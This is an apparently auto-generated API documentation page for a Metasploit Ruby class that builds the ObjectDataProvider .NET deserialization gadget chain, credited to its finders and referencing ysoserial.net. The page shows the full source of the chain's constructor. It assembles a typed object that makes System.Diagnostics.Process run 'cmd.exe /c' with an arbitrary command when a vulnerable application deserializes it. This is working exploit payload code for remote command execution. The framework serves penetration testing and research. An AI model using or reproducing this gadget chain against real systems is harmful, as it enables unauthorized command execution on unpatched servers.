Class: Msf::Util::DotNetDeserialization::GadgetChains::ObjectDataProvider

Inherits:
Object
  • Object
show all
Defined in:
lib/msf/util/dot_net_deserialization/gadget_chains/object_data_provider.rb

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(cmd) ⇒ ObjectDataProvider

ObjectDataProvider

Credits:
  Finders: Oleksandr Mirosh, Alvaro Munoz
  Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans
References:
  https://github.com/pwntester/ysoserial.net/blob/10ae3389561ff0296b43a221d814c18910775ffb/ysoserial/Generators/ObjectDataProviderGenerator.cs


17
18
19
20
21
22
23
24
25
26
27
28
29
# File 'lib/msf/util/dot_net_deserialization/gadget_chains/object_data_provider.rb', line 17

def initialize(cmd)
  @object = {
    '$type' => 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName' => 'Start',
    'MethodParameters' => {
      '$type' => 'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
      '$values' => ['cmd.exe', "/c #{cmd}"]
    },
    'ObjectInstance' => {
      '$type' => 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    }
  }
end

Instance Attribute Details

#objectObject (readonly)

Returns the value of attribute object.



8
9
10
# File 'lib/msf/util/dot_net_deserialization/gadget_chains/object_data_provider.rb', line 8

def object
  @object
end

Class Method Details

.generate(cmd) ⇒ Object



31
32
33
# File 'lib/msf/util/dot_net_deserialization/gadget_chains/object_data_provider.rb', line 31

def self.generate(cmd)
  self.new(cmd)
end